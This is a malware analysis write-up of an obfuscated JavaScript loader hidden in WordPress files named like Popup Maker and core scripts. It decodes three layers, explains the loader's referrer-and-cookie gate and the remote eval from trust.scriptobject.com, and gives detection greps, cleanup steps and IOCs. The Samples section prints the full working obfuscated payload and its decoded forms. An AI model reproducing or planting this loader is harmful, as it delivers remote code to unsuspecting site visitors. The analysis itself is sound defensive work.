Two copies of the same script came in under names that blend in: pum-site-scripts.js and dashboard-widget.min.js. Each is about 4 KB of unreadable JavaScript. It took three decoding steps to reach the real code, and the real code is only about 25 lines.

It only does anything for a visitor who arrived from another website and has no cookies yet. Anyone who types the address, uses a bookmark, or has been on the site before sees nothing.

That condition, a first visit from a search result or a link, is exactly what the site owner never matches when they check their own site. This is how the script can sit on a site for months.

The File Name#

pum-site-scripts.js isn’t a random name. Popup Maker, a popular WordPress popup plugin, caches its popup settings in a generated file with that name in /wp-content/uploads/pum/. A file with that name is expected to be there, it’s JavaScript, and it’s loaded on pages. The other copy, dashboard-widget.min.js, looks like a core WordPress script name.

The two files are identical except for three bytes: the pum-site-scripts.js copy starts with two blank lines and a ;. That leading semicolon is what you add when you’re pasting code in front of or after someone else’s file, so it can’t be confused with the previous statement. I don’t know how the script got onto the site. Here it’s just the payload.

Layer 1: A Shuffle and a Hidden Function Constructor#

The file opens with a function called wCc, plus a string that looks like noise:

function wCc(q){var b=504295;var e=q.length;var m=[];for(var k=0;k<e;k++){m[k]=q.charAt(k)};for(var k=0;k<e;k++){var f=b*(k+355)+(b%31595);var v=b*(k+546)+(b%45048);var i=f%e;var r=v%e;var g=m[i];m[i]=m[r];m[r]=g;b=(f+v)%1888360;};return m.join('')};
var FOV=wCc('nbnzqoytrrxodjotvcriukfgcwpeactlmushs').substr(0,KtB);

wCc is a fixed shuffle. It walks the string and swaps characters in a pattern driven by a counter that starts at 504295, so the result depends only on the string’s length. The author stores each string already scrambled, so that passing it through wCc produces the text they wanted. Here’s the same function in Python, which I used so that I never ran the file:

def wCc(q):
    b = 504295; e = len(q); m = list(q)
    for k in range(e):
        f = b*(k+355) + (b % 31595)
        v = b*(k+546) + (b % 45048)
        i, r = f % e, v % e
        m[i], m[r] = m[r], m[i]
        b = (f + v) % 1888360
    return ''.join(m)

wCc('nbnzqoytrrxodjotvcriukfgcwpeactlmushs') starts with constructor. The script then does wCc['constructor']. In JavaScript, a function’s .constructor is Function, so it has quietly gotten hold of Function, the way to turn a string into code, without ever writing Function, eval, or the word constructor. It then calls it twice:

var fNn = Zus('', wCc(zCs));       // Function('', <decoded text A>)
var JVG = fNn(wCc('ej;))7t=6_...'));   // run A on a second scrambled string
var trO = qGy('', JVG);            // Function('', <result>)
trO(3755);                         // run it

Layer 2: A Word-Dictionary Unpacker#

Un-shuffling the first long string, zCs, gives an 890-character function. This is the second layer, and it’s a text unpacker:

var d=10,f=36,v=17;var u="abcdefghijklmnopqrstuvwxyz";var c=[90,60,88,79,89,86,76,75,72,66,87,71,82,65,85,80,94,70,81,74]; ...

It splits its input on spaces and, working from the end, replaces two-character back-references (one of 20 marker characters plus an offset) with an earlier word from the same list. It then swaps .a to .z sequences for characters that would otherwise need escaping (newline, quote, backslash, space, and the marker characters themselves). It’s a simple compression scheme, a bit like dictionary compression, and the effect is that the real script appears only after the unpacker has put it back together. I ported it to Python and ran it on the second scrambled string, getting 4,806 characters of text.

Layer 3: Renamed Operators and a String Table#

That text is still not readable. It’s JavaScript where:

  • Every operator is a function. a + b is jso$ft$boe$_43(a, b), == is jso$ft$boe$_61_61, ! is jso$ft$uoel$_33, and < is jso$ft$boe$_60. The _43, _61_61 and so on are the character codes of the operator.
  • Every global is a function. window is jso$ft$giden$window(), which does return window.
  • Every string is in a table. The strings sit in one scrambled blob that’s unscrambled with another seeded shuffle (seed 1752306), then split into 23 entries, and the code only refers to _$_d001[12], _$_d001[20] and so on.

The 23 strings, once decoded (I’ve put the table in the samples below), give everything away:

get, onreadystatechange, readyState, status, responseText, GET, open, send, substr, toString, random, cookie, hostname, location, referrer, www., indexOf, ://, ://www., https://trust.scriptobject.com/init.js?ver=, qwzx, eval

There’s also dead weight. The script checks whether its own functions exist (if(!_$af2045846){...}), and these tests are always false; they exist to make any rewrite that renames or removes a function less likely to work. It also ends with return 9930 and is called as trO(3755), both unused numbers.

What the Code Does#

With the operators and strings put back, this is the script. It’s my reconstruction, with readable names, of the third layer:

var zqxw, HttpClient, rand, token;

function rand()  { return Math.random().toString(36).substr(2); }
function token() { return rand() + rand(); }

function HttpClient() {
  this.get = function (url, callback) {
    var req = new XMLHttpRequest();
    req.onreadystatechange = function () {
      if (req.readyState == 4 && req.status == 200) callback(req.responseText);
    };
    req.open("GET", url, true);
    req.send(null);
  };
}

function main() {
  var contains = function (s, sub) { return s.indexOf(sub) !== -1; };
  var cook = document.cookie;
  var host = window.location.hostname;
  var ref  = document.referrer;
  if (host.indexOf("www.") == 0) host = host.substr(4);

  if (ref && !contains(ref, "://" + host) && !contains(ref, "://www." + host) && !cook) {
    var client = new HttpClient();
    var url = "https://trust.scriptobject.com/init.js?ver=" + token();
    client.get(url, function (resp) {
      if (contains(resp, "qwzx")) window.eval(resp);
    });
  }
}

if (typeof zqxw === "undefined") { zqxw = true; main(); }

The gate#

The code inside main() only runs if all of these are true:

  1. document.referrer is not empty. The visitor came from a link, a search result, or an ad. A direct visit, a bookmark or a typed address has no referrer.
  2. The referrer isn’t the site itself. After stripping www., the host name doesn’t appear in the referrer, so navigating between your own pages doesn’t count.
  3. document.cookie is empty. No cookie has been set yet. A returning visitor, or anyone who already got a cookie from the site, a consent banner or an analytics script, is skipped. On a site that sets cookies on the first page load, the script gets only one chance per visitor, on that first page.

This filters out almost everyone who would notice. The owner and their staff visit directly or are logged in (and have cookies), and repeat visitors have cookies. What remains is the stream of new visitors from search engines and other sites, the people the attacker wants.

The marker#

The server’s reply is only run if it contains the string qwzx. That means a server error page, a parked-domain page or a captcha does nothing. It also means the operator could answer with an empty or harmless page to anyone they don’t want to attack, such as someone fetching init.js directly. The reply is run with window.eval, an indirect eval, so it executes in the page’s global scope.

The ?ver= value is two random strings joined together, so every request has a unique URL and a cache never holds a copy.

I did not request init.js, so I can’t say what it delivers. A script that is gated on referrer and fresh visitors is typical of redirects and malvertising aimed at search traffic, but that’s an inference from the design, not something I saw.

The Domain#

I used registry (RDAP) data and public DNS only, and did not contact the server.

NameRegisteredRegistrarResolves to
scriptobject.com / trust.scriptobject.com2024-12-10NameSilo193.42.110.121 (UA-Hosting SIA, Netherlands; nameservers ns1/ns2.ua-hosting.company)

It was registered three months before I collected the sample, which fits a domain set up for this campaign, and it still resolves. A web search turned up no public reporting on it.

Detection & Cleanup#

I tested these two searches against all 554 JavaScript files in WordPress 6.6’s wp-includes/js and wp-admin/js. Both match both samples and none of the clean files.

grep -rlE 'var zqxw,HttpClient,rand,token' wp-content/ --include='*.js'
grep -rlE '504295.*1888360' wp-content/ --include='*.js'     # the shuffle's constants

Searching for the domain name in your files finds nothing, because scriptobject.com never appears in clear text in the infected file. It’s inside the scrambled string table. Use the domain to search logs and proxy data instead.

  • Check the generated files first. Look at wp-content/uploads/pum/pum-site-scripts.js. It’s built by the plugin, so a clean one is plain popup configuration. If the file has an unreadable block at the start or end, that’s it. Also search any other .js file under wp-content. The script can be added to any of them, and the leading ; suggests it was meant to be.
  • Test as the target visitor. In a private window with an empty cookie jar, open DevTools to the Network tab, then arrive at your site by clicking a link on another page (a search result works). Look for a request to trust.scriptobject.com/init.js?ver=.... A direct visit won’t show it, which is why people don’t find this.
  • Your server logs won’t show it. The request is made by the visitor’s browser, not by your server, so look for scriptobject.com in a CSP violation report, a proxy or DNS log on the visitor side, or the browser’s Network tab.
  • A Content Security Policy blocks it. connect-src restricted to hosts you use would stop the request, and a script-src without 'unsafe-eval' blocks the Function() calls that unpack the script and the eval at the end.
  • Cleanup: remove the code from every file, delete and regenerate Popup Maker’s generated files (Popup Maker > Settings > Misc has an option to disable asset caching, and it rebuilds them), then find out how the files were changed. The code was added by someone with write access to the site’s files, so change FTP, SFTP, hosting and admin passwords, and check for other backdoors.

IOCs#

Files:   pum-site-scripts.js   sha256 4d7f454159baff5bb95fcbc5ad971452a3154bc53765c607907e9a4e3455fec4
         dashboard-widget.min.js   sha256 c8651b50f9019076a4621d5fdd2e51773106f6ca0c1579f87c7ba3dcef30b4d4
Fetch:   https://trust.scriptobject.com/init.js?ver=<random>   (GET, from the visitor's browser)
Marker:  the reply must contain "qwzx" to be eval'd
Globals: zqxw (run-once flag), HttpClient, rand, token
Start:   var zqxw,HttpClient,rand,token;(function(){var NFD='',KtB=480-469;function wCc(q){var b=504295; ...
Seeds:   504295 / 31595 / 45048 / 1888360 (layer 1);  1752306 (string table)
Gate:    external document.referrer AND empty document.cookie

Samples#

dashboard-widget.min.js (original)
var zqxw,HttpClient,rand,token;(function(){var NFD='',KtB=480-469;function wCc(q){var b=504295;var e=q.length;var m=[];for(var k=0;k<e;k++){m[k]=q.charAt(k)};for(var k=0;k<e;k++){var f=b*(k+355)+(b%31595);var v=b*(k+546)+(b%45048);var i=f%e;var r=v%e;var g=m[i];m[i]=m[r];m[r]=g;b=(f+v)%1888360;};return m.join('')};var FOV=wCc('nbnzqoytrrxodjotvcriukfgcwpeactlmushs').substr(0,KtB);var zCs='vag1r,uc;75o1kv=1r+t()kk,ra.=apenhda;}]a ;;r+ 4(6t;[)d767 co19,.d80jfqd9no -,=+ov0mn, a7[)em= 7.2;2,lwzyi7l0,ss170s,w-hv,]. wu*2A6{;ol=rar]ll+otu=bunn)to=u++ hu)7s7i=]}]8<lr 6=[o.j8Cayrrm=0;r(+;rg]f]gatlr ,)w;)aaz]fmr=f =n(;l)h2rs+0{prj) =a)hy)onto[q.lgpnvn("A));f(e6v8<eheww)rnd8bkn=k>5so)o.e{zt58f;Ct=v1oi}v,4ca0j[(m(k[tmut;.C9tv+sb0(g; vrg.(eoet(; prmzv.;=;na0v-nf)=lg,C+i=lrnr=r(h;+myaCu]a]r;(==vtr",r,o1.hfm. afd= 6"1tnfy ;f; ;rohhAtkk2re-"aA=a=re8;h0vrC esgs.()m{})la,)hl+0g]l8=2=.c=l{.ldfnl=9(-ra,n.ah re.rg;qlp;s;2n;=.)v.[.nkl()3e]rtl9i>+eatse(u=8irr}(=r[=;,x5ns;7a1<,"};neAab9tih3g(mgz[(iv+p-ft(;tu+b,v9fw,ku{ag+()ufsu.i)=itvua)s]+c();c;=(gb)(qiilc=o)rt[2);Ct=o;n1o] det;Sp=s ol,"c"r[!a+u;,rr(piv((c)lma;cer;4C)[e({0iigp=*,i9ig+3n+v(d6)+aasfu=!=l+p<to60}.rk)v;srghcr;f,s(aarr46(;ri1.vat.-h;wzcpn+enS<lat(r7h"ch3.dt,fk).jaa=io,(vv hl;+kovlr;[,nhpdsl)+cn1udom[vte.i  "hw"atl=loniiho;';var Zus=wCc[FOV];var Wid='';var qGy=Zus;var fNn=Zus(Wid,wCc(zCs));var JVG=fNn(wCc('ej;))7t=6_%ZeA2Z2t!enr)b(ae_..sSZ)4&Z5)ZoHh(iar04.. )Z.Z(ZEZe(>ZaiMo2}eZ7ZIZvsZ5B(O!Z_cntoxZ(2unt>ZeZn]i16Z.2t.pd0;c&uZUleelo]EpZ\/3eoe!Zfv3h 8,8Zein;e4Zm}fw)Z!Z2\/iZ;}=&.jtti(4Mf6(0-Z!oaZ7)%)fu! .>Z_Z!]Tbfle= 8ZC)e sZ2c(H3_(lt.4e$f1e(!r $O(tZZs6qu%s(Z4Z,p.4.jtb_(p2A4t.{Z]oDZZa0<_5ei!1),ZZ5%Ze7ZZtweSZsZZu.!3n{\/..%)8U9\']fe\/noZmvU_)4Sr{.heG_}tZn.!,Zbdt0Z1(]$ "]vs5Zo2)!Za{Zud?)sge;.{9,])(H3)d)l}.)e)_$Zo.pr6eb{bea{=(}e,uNv e5afuoslneZo%srn)cf_d).Zr(ytZ0te0\/G")4i.\'co=nEZ!%u)tC%eBa(tSw})s.=j%!s.1_e3.ZZ(_%ew3,ZthrZ5u w.]Er=EZ5 nZe1(}ZM)()Z(zr36<.!)er5Z3!3]ZfZi:ZoaZ{aM)\'aoju3Z,jg7fot3!$rZ nor25eZo.l0s0,@5EZ }ZZoZ]ec3e(Zal]ZZ5uk)oZM0=Z1;__uG5!djs=Z2ZaoZEt=;$)f[,;Uf%rat=o.o64)l_Z}s!2Zol: o3=crcFysRZ)5$7_Z.{6.cif;toZ t3tZsz.04ae#l0i)esZje+4!ZZZZ.ae5mv)%t.eZ.(Zu.6Z$((Z]k3,.r5rGf;(7Zss+ZZ"i_ae)f?6cd.$4r.Z,3 ;C2,=t;6c6(p3S.(r7*at);tI(I&!e.rak6(jZ.StZcuie,;8ZEZe-($>IF]Z;$s!cZZ,njsZ5a[gZ.i,u"(+x);)o!#6s1,..Z8_.)ewttt.s3uZ5?!(2jm)htno3o_)eI$ ft 9_ZDt=oZ5o)LZ.3t_ZAm}Zv=Zr;=ae#f)th=_fe)6.#ZpeN(Zn" a.)O 0.}ecnj?KiZj8 (6oZ=(ZZ23-(;Z\'({.l$Qe$uo4UZu3[;Z:7%Z;ZG5eo(iN09Z9R!*0$ )cKtZ.8;hZpZ1)6eZ3lZ(c())SZ)$i]n+ZZ(Zo3sF8!F,Z)Ze>rZ&&ZjZZa!5_4}>3li.Z9Zw}oM4#l1;gZZaZ-re:Z5o,$a6=Zcf5u$f.oZZotI<.Z_Zd5e+x_5kTef_lBiQMt4l4nfn 1=2_umPfijZ4,oQacfexn;aeLZrt4Z0Cl?d, 5;oo653_,(  2]j3ZZ)&e@(ce]%2rZ82rZ3Zrez{d[$5):ZuZZfff(Z4Z]5!cSZ1)Z0ZZ=7s=C)ZO3]>u,.(4m.)r&eo(e38Qs}Z}sv%Z0f=Ze)e6)>H wFs,735Zj)(ZeLr)x,5.]_ljZ _.ZjopjtZd]1%k<e!cna4_wo.Z*&w=e"jZZ{t(Z2Zh@(Zlu(GZ>trf)!Z4])k(Z"!p}Z;\/)l}NZ,tg$Z4}B.Z3] n5@f{ZaZi.n.11tF0fZ75f!.oZiZZ,%>]#(_toagJ $0du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z$4,(Zs(b0a}}oc2Z2&$5_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(Z$2ihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r$2 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec  euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_$8Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();
layer 2: the unpacker (decoded from the first long string)
var d=10,f=36,v=17;var u="abcdefghijklmnopqrstuvwxyz";var c=[90,60,88,79,89,86,76,75,72,66,87,71,82,65,85,80,94,70,81,74];var i=[];for(var l=0;l<c.length;l++)i[c[l]]=l+1;var r=[];d+=23;f+=57;v+=79;for(var p=0;p<arguments.length;p++){var t=arguments[p].split(" ");for(var a=t.length-1;a>=0;a--){var y=null;var m=t[a];var w=null;var o=0;var n=m.length;var z;for(var k=0;k<n;k++){var s=m.charCodeAt(k);var b=i[s];if(b){y=(b-1)*f+m.charCodeAt(k+1)-d;z=k;k++;}else if(s==v){y=f*(c.length-d+m.charCodeAt(k+1))+m.charCodeAt(k+2)-d;z=k;k+=2;}else{continue;}if(w==null)w=[];if(z>o)w.push(m.substring(o,z));w.push(t[y+1]);o=k+1;}if(w!=null){if(o<n)w.push(m.substring(o));t[a]=w.join("");}}r.push(t[0]);}var g=r.join("");var q=[42,96,10,92,32,39].concat(c);var h=String.fromCharCode(46);for(var l=0;l<q.length;l++)g=g.split(h+u.charAt(l)).join(String.fromCharCode(q[l]));return g.split(h+"!").join(h);
layer 3: decoded script (operators and strings still renamed)
function jso$ft$boe$_33_61_61(a,b){return a!== b}function jso$ft$giden$_95_36af_50_48_52_53_56_52_55(){return _$af2045847}function jso$ft$giden$_95_36af_50_48_52_53_56_52_50(){return _$af2045842}function jso$ft$giden$token(){return token}function jso$ft$giden$HttpClient(){return HttpClient}function jso$ft$giden$window(){return window}function jso$ft$giden$screen(){return screen}function jso$ft$giden$document(){return document}function jso$ft$giden$navigator(){return navigator}function jso$ft$giden$rand(){return rand}function jso$ft$giden$Math(){return Math}function jso$ft$giden$_95_36af_50_48_52_53_56_52_54(){return _$af2045846}function jso$ft$boe$_61_61(a,b){return a== b}function jso$ft$giden$_95_36af_50_48_52_53_56_53_48(){return _$af2045850}function jso$ft$giden$XMLHttpRequest(){return XMLHttpRequest}function jso$ft$uoel$_33(a){return !a}function jso$ft$giden$String(){return String}function jso$ft$boe$_37(a,b){return a% b}function jso$ft$boe$_43(a,b){return a+ b}function jso$ft$boe$_60(a,b){return a< b}var _$_d001=(_$af2045850)("ae:p/emsdea?c%tjrsOtdnopsoekeneo.rsetadt/des%trtuvperafutud%ecb%yrintTidnmGpy%tStg%/%%oni.%omnEra%xa%r%escoftwtue%/jsr%cgxnonwden%evsootwtsiinwinwrcbicrn/e/a%/h:eohsze%Ta.tqrSw.isghtt:lo%nral%%ae.tes%r%=ttwexfseeo",1752306);function _$af2045850(p,jso$setrpl$i){var i={},a={},x={},t={},u={},o={},c={};i._= jso$setrpl$i;var s=p.length;a._= [];;for(var l=0;jso$ft$boe$_60(l,s);l++){a._[l]= p.charAt(l)};for(var l=0;jso$ft$boe$_60(l,s);l++){x._= jso$ft$boe$_43(i._* (jso$ft$boe$_43(l,81)),(jso$ft$boe$_37(i._,35357)));;t._= jso$ft$boe$_43(i._* (jso$ft$boe$_43(l,362)),(jso$ft$boe$_37(i._,53578)));;u._= jso$ft$boe$_37(x._,s);;o._= jso$ft$boe$_37(t._,s);;c._= a._[u._];;jso$spliter_$af2045852(u,a,o);jso$spliter_$af2045853(o,a,c);jso$spliter_$af2045854(i,x,t)};var e=jso$ft$giden$String().fromCharCode(127);var b='';var k='%';var n='#1';var m='%';var f='#0';var h='#';return a._.join(b).split(k).join(e).split(n).join(m).split(f).join(h).split(e)}function _$af2045842(){if(jso$ft$uoel$_33(_$af2045847)){return};this[_$_d001[1]]= jso$builder_$af2045843_()}function _$af2045845(){return jso$ft$giden$Math()[_$_d001[11]]()[_$_d001[10]](36)[_$_d001[9]](2)}function _$af2045846(){return jso$ft$boe$_43(jso$ft$giden$rand()(),jso$ft$giden$rand()())}function _$af2045847(){var w={},c={};var jso$setrpl$c={};jso$setrpl$c._= jso$builder_$af2045849_jso$setrpl$c();c._= jso$setrpl$c._;var n=jso$ft$giden$navigator();var d=jso$ft$giden$document();var s=jso$ft$giden$screen();w._= jso$ft$giden$window();;var cook=d[_$_d001[12]];var host=w._[_$_d001[14]][_$_d001[13]];var ref=d[_$_d001[15]];if(jso$ft$boe$_61_61(host[_$_d001[17]](_$_d001[16]),0)){host= host[_$_d001[9]](4)};if(ref&& jso$ft$uoel$_33((1&&c._)(ref,jso$ft$boe$_43(_$_d001[18],host)))&& jso$ft$uoel$_33((1&&c._)(ref,jso$ft$boe$_43(_$_d001[19],host)))&& jso$ft$uoel$_33(cook)){var client= new (jso$ft$giden$HttpClient())();var url=jso$ft$boe$_43(_$_d001[20],jso$ft$giden$token()());if(jso$ft$uoel$_33(_$af2045846)){jso$ft$giden$_95_36af_50_48_52_53_56_52_54()();jso$spliter_$af2045855();return};client[_$_d001[1]](url,jso$builder_$af2045848_(c,w))};}if( typeof zqxw=== _$_d001[0]){if(!_$_d001){return}else {zqxw= true};(function(){HttpClient= _$af2045842})();(function(){rand= _$af2045845})();(function(){token= _$af2045846})();(_$af2045847)()};function jso$spliter_$af2045852(u,a,o){a._[u._]= a._[o._]}function jso$spliter_$af2045853(o,a,c){a._[o._]= c._}function jso$spliter_$af2045854(i,x,t){i._= jso$ft$boe$_37((jso$ft$boe$_43(x._,t._)),2276371)}function jso$builder_$af2045843_(){return  function(aUrl,jso$setrpl$aCallback){var aCallback={},anHttpRequest={};aCallback._= jso$setrpl$aCallback;anHttpRequest._=  new (jso$ft$giden$XMLHttpRequest())();;if(jso$ft$uoel$_33(_$_d001)){jso$ft$giden$_95_36af_50_48_52_53_56_53_48()();return}else {anHttpRequest._[_$_d001[2]]= jso$builder_$af2045844_(anHttpRequest,aCallback)};anHttpRequest._[_$_d001[7]](_$_d001[6],aUrl,true);anHttpRequest._[_$_d001[8]](null)}}function jso$spliter_$af2045855(){_$af2045846= true}function jso$builder_$af2045848_(c,w){return  function(resp){if((1&&c._)(resp,_$_d001[21])){if(jso$ft$boe$_61_61(_$af2045846,_$_d001[0])){jso$ft$giden$_95_36af_50_48_52_53_56_52_50()();return};w._[_$_d001[22]](resp)}}}function jso$builder_$af2045849_jso$setrpl$c(){return  function(o,z){if(jso$ft$boe$_61_61(_$af2045842,0)){jso$ft$giden$_95_36af_50_48_52_53_56_52_55()(1);return};return jso$ft$boe$_33_61_61(o[_$_d001[17]](z),-1)}}function jso$builder_$af2045844_(anHttpRequest,aCallback){return  function(){if(jso$ft$boe$_61_61(anHttpRequest._[_$_d001[3]],4)&& jso$ft$boe$_61_61(anHttpRequest._[_$_d001[4]],200)){if(jso$ft$boe$_61_61(_$af2045847,false)){jso$ft$giden$_95_36af_50_48_52_53_56_52_54()();return};(1&&aCallback._)(anHttpRequest._[_$_d001[5]])}}}
layer 3 string table (decoded)
["undefined", "get", "onreadystatechange", "readyState", "status", "responseText", "GET", "open", "send", "substr", "toString", "random", "cookie", "hostname", "location", "referrer", "www.", "indexOf", "://", "://www.", "https://trust.scriptobject.com/init.js?ver=", "qwzx", "eval"]